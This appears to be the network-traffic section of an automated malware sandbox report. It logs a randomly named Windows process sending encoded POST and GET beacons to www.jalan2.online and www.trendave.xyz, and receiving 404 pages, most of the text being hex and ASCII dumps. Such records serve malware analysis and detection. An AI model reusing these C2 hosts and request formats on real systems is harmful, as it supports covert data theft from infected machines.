                                                                                    Dec 5, 2024 18:23:19.787772894 CET713INData Raw: 32 62 64 0d 0a 65 54 6b 6b db 30 14 fd 5e d8 7f b8 4d 19 b4 10 27 76 ea b0 61 3b 66 63 0f 36 18 5b a1 85 b1 8f b2 75 1d 89 ca 92 27 29 af 95 fe f7 5d d9 49 9a b6 16 d8 92 7c 75 74 ee 39 57 2a ce 3f ff fa 74 f7 e7 e6 0b 08 df aa f2 ac 08 1f 70 7e
                                                                                    Data Ascii: 2bdeTkk0^M'va;fc6[u')]I|ut9W*?tp~p1(gI_8}Z4k)`-qGPQh#kYc `18at/8WY1RE.\v.2pqf*w6@!Edt,CH4


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    14192.168.2.1149988108.181.189.7802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:23:21.037583113 CET754OUTPOST /lvda/ HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Cache-Control: no-cache
                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                    Connection: close
                                                                                    Content-Length: 221
                                                                                    Host: www.jalan2.online
                                                                                    Origin: http://www.jalan2.online
                                                                                    Referer: http://www.jalan2.online/lvda/
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Data Raw: 64 54 62 34 3d 4a 4a 72 79 55 68 4f 30 67 6d 71 6c 32 74 70 5a 33 76 4c 2f 30 78 38 45 32 53 31 38 38 39 68 2f 6d 61 64 6c 41 57 43 4c 65 76 72 72 7a 53 2b 34 4e 6a 72 6c 39 6b 58 47 33 4c 48 32 68 36 6f 4e 32 50 39 65 77 53 42 73 66 51 61 4d 44 66 6a 4e 45 39 79 73 76 62 42 48 4a 4d 45 37 54 48 58 6d 6f 2b 33 41 6e 54 30 6d 41 76 77 6e 44 49 64 2b 31 68 72 73 47 42 6b 52 79 55 77 6b 4b 6a 62 76 52 55 46 68 4f 59 72 6c 39 45 7a 77 35 59 42 62 6d 63 79 61 67 33 37 67 6a 39 52 6b 74 4c 49 53 72 33 6f 6b 4a 33 4c 62 65 4c 49 33 45 72 65 69 50 78 34 6c 39 77 63 67 75 38 48 4c 49 58 44 54 61 6d 34 70 69 55 66 36 77 35 48 71 74 30 34 61 36 6f 4d 55 5a 64 59 3d
                                                                                    Data Ascii: dTb4=JJryUhO0gmql2tpZ3vL/0x8E2S1889h/madlAWCLevrrzS+4Njrl9kXG3LH2h6oN2P9ewSBsfQaMDfjNE9ysvbBHJME7THXmo+3AnT0mAvwnDId+1hrsGBkRyUwkKjbvRUFhOYrl9Ezw5YBbmcyag37gj9RktLISr3okJ3LbeLI3EreiPx4l9wcgu8HLIXDTam4piUf6w5Hqt04a6oMUZdY=
                                                                                    Dec 5, 2024 18:23:22.212438107 CET992INHTTP/1.1 404 Not Found
                                                                                    content-type: text/html
                                                                                    cache-control: private, no-cache, max-age=0
                                                                                    pragma: no-cache
                                                                                    date: Thu, 05 Dec 2024 17:23:21 GMT
                                                                                    server: LiteSpeed
                                                                                    content-encoding: gzip
                                                                                    vary: Accept-Encoding
                                                                                    transfer-encoding: chunked
                                                                                    connection: close
                                                                                    Data Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 0d 0a 32 62 64 0d 0a 65 54 6b 6b db 30 14 fd 5e d8 7f b8 4d 19 b4 10 27 76 ea b0 61 3b 66 63 0f 36 18 5b a1 85 b1 8f b2 75 1d 89 ca 92 27 29 af 95 fe f7 5d d9 49 9a b6 16 d8 92 7c 75 74 ee 39 57 2a ce 3f ff fa 74 f7 e7 e6 0b 08 df aa f2 ac 08 1f 70 7e a7 70 31 12 28 97 c2 67 49 1c bf 1d 85 5f c8 38 7d 5a f4 0c 34 6b 29 60 2d 71 d3 19 eb 47 50 1b ed 51 fb c5 68 23 b9 17 0b 8e 6b 59 63 d4 0f c6 20 b5 f4 92 a9 c8 d5 8c 60 93 31 38 61 a5 be 8f bc 89 1a e9 17 da 04 74 2f bd c2 12 d2 38 85 9f c6 c3 57 b3 d2 fc cd 59 31 1d e6 8b 9e 52 f9 a1 45 2e 19 5c 76 16 1b b4 2e aa 8d 32 96 70 05 b6 98 71 66 ef af 1e 2a c3 77 0f 15 ab ef 97 36 40 0c 21 d9 45 1c c7 e7 b2 0d 64 99 f6 8f 8f c5 74 00 2c a6 fb ac c2 b2 43 de c3 12 b8 48 d3 34 87 96 d9 a5 d4 59 9c 37 94 62 06 da d8 96 29 48 d2 6e 3b 9d c5 dd 16 3e 5a 4a 6d 0c df 50 ad d1 cb 9a 51 76 4c bb c8 a1 95 4d 0e 27 12 e6 f0 8a 15 5c 34 4d 93 87 ec b9 5c bf 50 9d ad bc a1 dd a5 8e 9e 61 8c 4a 08 cf e9 02 8f 5b 1f 31 25 97 3a 83 [TRUNCATED]
                                                                                    Data Ascii: a2bdeTkk0^M'va;fc6[u')]I|ut9W*?tp~p1(gI_8}Z4k)`-qGPQh#kYc `18at/8WY1RE.\v.2pqf*w6@!Edt,CH4Y7b)Hn;>ZJmPQvLM'\4M\PaJ[1%:L@C|>&"%dgbt*gct\]9B$@%rfUR0l(N2)= lMh<*Y:tyT+,ZF9F{^L;}"h8gY>q.2hkk^O$NhuB+c9>(:.+v6IW`l2xcxz+:}_-ohWvT$dm47/kDa-4_Jt] %6$YvLi>Fj3bC{.~p/+a0


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    15192.168.2.1149989108.181.189.7802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:23:23.705734015 CET1767OUTPOST /lvda/ HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Cache-Control: no-cache
                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                    Connection: close
                                                                                    Content-Length: 1233
                                                                                    Host: www.jalan2.online
                                                                                    Origin: http://www.jalan2.online
                                                                                    Referer: http://www.jalan2.online/lvda/
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Data Raw: 64 54 62 34 3d 4a 4a 72 79 55 68 4f 30 67 6d 71 6c 32 74 70 5a 33 76 4c 2f 30 78 38 45 32 53 31 38 38 39 68 2f 6d 61 64 6c 41 57 43 4c 65 76 54 72 7a 6b 43 34 4d 43 72 6c 76 55 58 47 39 72 48 33 68 36 6f 45 32 50 56 53 77 53 4e 57 66 53 69 4d 52 73 62 4e 47 50 61 73 6d 62 42 48 4c 4d 45 36 58 48 57 38 6f 2b 6e 4d 6e 51 4d 6d 41 76 77 6e 44 4c 31 2b 38 51 72 73 45 42 6b 57 36 30 77 67 41 44 62 4c 52 55 4d 61 4f 59 75 59 68 6c 54 77 36 38 64 62 6b 70 6d 61 70 33 37 59 6b 39 51 6b 74 4c 55 4a 72 33 30 43 4a 32 2f 78 65 4c 67 33 47 39 4c 49 55 43 67 73 72 44 4d 57 34 4d 44 77 48 69 6d 55 55 57 59 48 73 68 54 69 6a 4a 47 32 73 31 41 53 74 70 45 6f 59 4e 76 42 34 42 43 6a 41 4d 6a 63 39 67 65 34 59 73 72 50 33 38 7a 78 62 37 2b 72 50 71 39 61 36 36 6b 6c 4c 6b 33 31 68 48 54 35 50 57 2f 4b 4f 4f 76 72 32 59 76 4c 35 79 41 54 7a 6c 71 5a 68 44 4f 58 75 76 33 4e 63 41 4d 39 70 64 58 6c 6b 77 66 55 54 35 32 68 72 6b 70 74 53 63 39 57 35 39 37 58 7a 54 30 68 44 6e 50 2f 32 42 4d 66 6d 6d 4d 4c 4e 4e 50 48 36 [TRUNCATED]
                                                                                    Data Ascii: dTb4=JJryUhO0gmql2tpZ3vL/0x8E2S1889h/madlAWCLevTrzkC4MCrlvUXG9rH3h6oE2PVSwSNWfSiMRsbNGPasmbBHLME6XHW8o+nMnQMmAvwnDL1+8QrsEBkW60wgADbLRUMaOYuYhlTw68dbkpmap37Yk9QktLUJr30CJ2/xeLg3G9LIUCgsrDMW4MDwHimUUWYHshTijJG2s1AStpEoYNvB4BCjAMjc9ge4YsrP38zxb7+rPq9a66klLk31hHT5PW/KOOvr2YvL5yATzlqZhDOXuv3NcAM9pdXlkwfUT52hrkptSc9W597XzT0hDnP/2BMfmmMLNNPH6+wnvVsH91Cg0Hxttq0eVBGGOoCyLVxrK43LnoEmUOs7J5Cmit/ASd3mK+bQiVVmwO4bRuRilEF/598ZIkV+QMcoBFzTpqa/MNNchFt0ZaTjbh5zmWVOVCWSYAw25qHK5PiRXKkPlDS+6+mWvf4vzG6t19D7+TZ2SazySjQkjAie3GD7XC43t/1nVd3bOEY1/WMGehz0UmNpCl9WRdb8D+96sySq+T3Jc5hiZs6wR+qo7Q754HCH9+mTDj3rTWHTPiInzOlLv5RafXd6uacrAqc+gfSffux714EvxrZZSU6SzfP3T2dRgRzGF3Ul8v3os8N1fH3/sc+ro2ktqsfMAc/RTG9i2YVkQzoJVAOzKhNwYvGupjK3yUWHooSEwJo1fjcoSZqkToetVlscIpLhLjlwrWTG6WgTAyWL3VhHV5Z/ZXbukTkppPbbkxjSb5D+gZeAUKCSlCJLkPNhX+13jxjEpzoIMvLwu6oP7NsoxsQkELlUKC5Wvap9znPqS+Hinmsbdko//DfHTbbbZlt1feFixkkiusKGMpxkzlmSeqsQLp10KoGxPAlo9gkHVR5YqQ0I/jAuU7XxBYMY4ARBE6j0IK//Y7MILnx9x2qpoWm4m7liABMoIBuhqWnJPQGKPYjBWrMtCJR3cCvcYxxnf5h6CfJhp7ZgkA3 [TRUNCATED]
                                                                                    Dec 5, 2024 18:23:25.154179096 CET987INHTTP/1.1 404 Not Found
                                                                                    content-type: text/html
                                                                                    cache-control: private, no-cache, max-age=0
                                                                                    pragma: no-cache
                                                                                    date: Thu, 05 Dec 2024 17:23:24 GMT
                                                                                    server: LiteSpeed
                                                                                    content-encoding: gzip
                                                                                    vary: Accept-Encoding
                                                                                    transfer-encoding: chunked
                                                                                    connection: close
                                                                                    Data Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 0d 0a 32 62 64 0d 0a 65 54 6b 6b db 30 14 fd 5e d8 7f b8 4d 19 b4 10 27 76 ea b0 61 3b 66 63 0f 36 18 5b a1 85 b1 8f b2 75 1d 89 ca 92 27 29 af 95 fe f7 5d d9 49 9a b6 16 d8 92 7c 75 74 ee 39 57 2a ce 3f ff fa 74 f7 e7 e6 0b 08 df aa f2 ac 08 1f 70 7e a7 70 31 12 28 97 c2 67 49 1c bf 1d 85 5f c8 38 7d 5a f4 0c 34 6b 29 60 2d 71 d3 19 eb 47 50 1b ed 51 fb c5 68 23 b9 17 0b 8e 6b 59 63 d4 0f c6 20 b5 f4 92 a9 c8 d5 8c 60 93 31 38 61 a5 be 8f bc 89 1a e9 17 da 04 74 2f bd c2 12 d2 38 85 9f c6 c3 57 b3 d2 fc cd 59 31 1d e6 8b 9e 52 f9 a1 45 2e 19 5c 76 16 1b b4 2e aa 8d 32 96 70 05 b6 98 71 66 ef af 1e 2a c3 77 0f 15 ab ef 97 36 40 0c 21 d9 45 1c c7 e7 b2 0d 64 99 f6 8f 8f c5 74 00 2c a6 fb ac c2 b2 43 de c3 12 b8 48 d3 34 87 96 d9 a5 d4 59 9c 37 94 62 06 da d8 96 29 48 d2 6e 3b 9d c5 dd 16 3e 5a 4a 6d 0c df 50 ad d1 cb 9a 51 76 4c bb c8 a1 95 4d 0e 27 12 e6 f0 8a 15 5c 34 4d 93 87 ec b9 5c bf 50 9d ad bc a1 dd a5 8e 9e 61 8c 4a 08 cf e9 02 8f 5b 1f 31 25 97 3a 83 [TRUNCATED]
                                                                                    Data Ascii: a2bdeTkk0^M'va;fc6[u')]I|ut9W*?tp~p1(gI_8}Z4k)`-qGPQh#kYc `18at/8WY1RE.\v.2pqf*w6@!Edt,CH4Y7b)Hn;>ZJmPQvLM'\4M\PaJ[1%:L@C|>&"%dgbt*gct\]9B$@%rfUR0l(N2)= lMh<*Y:tyT+,ZF9F{^L;}"h8gY>q.2hkk^O$NhuB+c9>(:.+v6IW`l2xcxz+:}_-ohWvT$dm47/kDa-4_Jt] %6$YvLi>Fj3bC{.~p/+a
                                                                                    Dec 5, 2024 18:23:25.154301882 CET5INData Raw: 30 0d 0a 0d 0a
                                                                                    Data Ascii: 0


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    16192.168.2.1149990108.181.189.7802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:23:26.373758078 CET466OUTGET /lvda/?mZwPH=xrgxJbs&dTb4=ELDSXX2RsHX+gMhDzPeoz2Qv1CIr49o7uMJ0P3epR9C3wBGcH3Oc/iCy84j3rr0M4JJUpyIPXVKNA8OpCuWYtvAdB7YlcQ+QyNvs5R5nS8FwKp0R1nLwRVA= HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Connection: close
                                                                                    Host: www.jalan2.online
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Dec 5, 2024 18:23:27.570624113 CET1236INHTTP/1.1 404 Not Found
                                                                                    content-type: text/html
                                                                                    cache-control: private, no-cache, max-age=0
                                                                                    pragma: no-cache
                                                                                    content-length: 1249
                                                                                    date: Thu, 05 Dec 2024 17:23:27 GMT
                                                                                    server: LiteSpeed
                                                                                    connection: close
                                                                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 [TRUNCATED]
                                                                                    Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, [TRUNCATED]
                                                                                    Dec 5, 2024 18:23:27.570705891 CET224INData Raw: 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c
                                                                                    Data Ascii: 3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    17192.168.2.1149991203.161.42.73802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:23:33.270757914 CET731OUTPOST /nhcb/ HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Cache-Control: no-cache
                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                    Connection: close
                                                                                    Content-Length: 201
                                                                                    Host: www.trendave.xyz
                                                                                    Origin: http://www.trendave.xyz
                                                                                    Referer: http://www.trendave.xyz/nhcb/
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Data Raw: 64 54 62 34 3d 45 76 58 6b 43 69 62 37 69 33 61 66 67 65 33 52 71 6e 43 5a 4d 35 69 62 43 6f 33 30 6c 72 52 6b 76 52 58 4c 74 5a 4c 42 56 57 41 75 68 74 5a 6e 6c 4c 32 51 4d 67 55 41 6f 46 47 7a 45 63 4c 75 44 35 6b 77 58 4e 44 31 4e 4d 30 37 64 4b 72 4b 4e 59 67 35 47 53 6e 2f 67 46 4f 68 75 74 56 67 6d 31 76 4a 7a 46 43 43 69 6f 79 4f 78 44 66 6e 58 4d 50 54 58 59 4b 51 50 6d 41 67 52 72 62 71 49 43 50 4b 45 45 46 6d 2f 69 77 36 48 41 33 6e 7a 39 6f 38 6e 6b 2f 44 4d 42 70 46 31 5a 71 48 51 5a 41 35 64 54 64 49 4c 52 65 6e 42 6b 6a 50 52 7a 6d 4b 46 39 76 5a 7a 4a 75 6e 46 6d 6b 52 76 77 3d 3d
                                                                                    Data Ascii: dTb4=EvXkCib7i3afge3RqnCZM5ibCo30lrRkvRXLtZLBVWAuhtZnlL2QMgUAoFGzEcLuD5kwXND1NM07dKrKNYg5GSn/gFOhutVgm1vJzFCCioyOxDfnXMPTXYKQPmAgRrbqICPKEEFm/iw6HA3nz9o8nk/DMBpF1ZqHQZA5dTdILRenBkjPRzmKF9vZzJunFmkRvw==
                                                                                    Dec 5, 2024 18:23:34.520936012 CET1236INHTTP/1.1 404 Not Found
                                                                                    Date: Thu, 05 Dec 2024 17:23:34 GMT
                                                                                    Server: Apache
                                                                                    Content-Length: 16052
                                                                                    Connection: close
                                                                                    Content-Type: text/html
                                                                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED]
                                                                                    Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
                                                                                    Dec 5, 2024 18:23:34.521176100 CET1236INData Raw: 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c
                                                                                    Data Ascii: > </defs> <g transform="translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)" style="disp
                                                                                    Dec 5, 2024 18:23:34.521190882 CET1236INData Raw: 38 2e 38 35 38 37 31 35 20 2d 30 2e 36 30 32 31 37 35 2c 2d 33 31 2e 34 36 39 32 32 38 20 2d 30 2e 30 31 32 35 33 2c 2d 32 32 2e 37 35 39 35 36 35 20 30 2e 37 31 37 32 36 32 2c 2d 34 31 2e 32 33 31 34 35 32 31 33 20 31 2e 36 32 38 39 39 35 2c 2d
                                                                                    Data Ascii: 8.858715 -0.602175,-31.469228 -0.01253,-22.759565 0.717262,-41.23145213 1.628995,-41.23195399 z" style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;"
                                                                                    Dec 5, 2024 18:23:34.522115946 CET1236INData Raw: 30 2e 37 36 32 37 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 34 35 35 33 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 6f 70 61 63 69 74 79 3a 31 3b 66
                                                                                    Data Ascii: 0.76272" id="rect4553" style="display:inline;opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <pa
                                                                                    Dec 5, 2024 18:23:34.522130013 CET896INData Raw: 32 2c 31 35 2e 35 30 30 36 34 20 30 2e 39 31 36 37 39 38 2c 36 2e 38 33 34 33 34 20 32 2e 32 34 39 38 35 34 2c 31 36 2e 33 33 32 33 37 20 33 2e 34 39 39 39 30 32 2c 32 34 2e 39 31 36 30 34 20 31 2e 32 35 30 30 34 37 2c 38 2e 35 38 33 36 38 20 32
                                                                                    Data Ascii: 2,15.50064 0.916798,6.83434 2.249854,16.33237 3.499902,24.91604 1.250047,8.58368 2.416611,16.24967 4.583438,28.58394 2.166827,12.33427 5.333153,29.33244 8.499966,46.33323" style="display:inline;fill:none;stroke:#000000;stroke-widt
                                                                                    Dec 5, 2024 18:23:34.523236990 CET1236INData Raw: 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 35 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 39 31 2e 39 33 37 35 2c 31 32 34 2e 30 39 39 39 38 20
                                                                                    Data Ascii: /> <path id="path4525" d="m 91.9375,124.09998 c 5.854072,7.16655 11.70824,14.33322 16.21863,20.16651 4.51039,5.83328 7.67706,10.33329 11.92718,16.33346 4.25012,6.00017 9.58322,13.49984 12.66653,18.58299 3.08
                                                                                    Dec 5, 2024 18:23:34.523256063 CET1236INData Raw: 39 34 33 35 31 37 2c 34 2e 31 32 37 39 35 20 32 2e 38 32 37 35 33 35 2c 31 31 2e 31 39 33 30 32 20 34 2e 30 36 35 30 30 35 2c 31 36 2e 30 32 35 30 31 20 31 2e 32 33 37 34 38 2c 34 2e 38 33 32 20 31 2e 38 32 36 36 38 2c 37 2e 34 32 34 34 37 20 32
                                                                                    Data Ascii: 943517,4.12795 2.827535,11.19302 4.065005,16.02501 1.23748,4.832 1.82668,7.42447 2.12139,10.84263 0.29471,3.41815 0.29471,7.65958 -0.11785,20.44893 -0.41255,12.78934 -1.23731,34.11536 -2.18014,53.62015 -0.94282,19.50478 -2.003429,37.18159 -3.0
                                                                                    Dec 5, 2024 18:23:34.523268938 CET448INData Raw: 35 34 2e 32 30 37 36 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68
                                                                                    Data Ascii: 54.20767" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4549" d="m 79.25478,124.23266 c -5.440192,
                                                                                    Dec 5, 2024 18:23:34.524247885 CET1236INData Raw: 39 35 2c 35 33 2e 38 34 37 34 36 20 32 2e 32 33 37 39 31 33 2c 31 39 2e 33 37 38 32 39 20 34 2e 38 33 33 31 30 39 2c 33 36 2e 37 31 38 39 32 20 37 2e 34 32 35 39 35 39 2c 35 34 2e 30 34 33 38 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74
                                                                                    Data Ascii: 95,53.84746 2.237913,19.37829 4.833109,36.71892 7.425959,54.04387" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="pa
                                                                                    Dec 5, 2024 18:23:34.524264097 CET1236INData Raw: 34 35 38 30 36 2c 33 36 2e 38 33 32 31 36 20 2d 31 32 2e 36 38 37 35 2c 35 35 2e 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65
                                                                                    Data Ascii: 45806,36.83216 -12.6875,55.25" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <ellipse ry="4.6715717" rx="2.5"
                                                                                    Dec 5, 2024 18:23:34.641835928 CET1236INData Raw: 6f 6e 65 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 31 37 30 2e 31
                                                                                    Data Ascii: one;stroke-opacity:1;" /> <path transform="translate(-170.14515,-0.038164)" id="path4567" d="m 321.74355,168.0687 c -1e-5,3.3913 -3.42414,11.26702 -8.73834,11.26702 -5.3142,0 -18.59463,27.24606


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
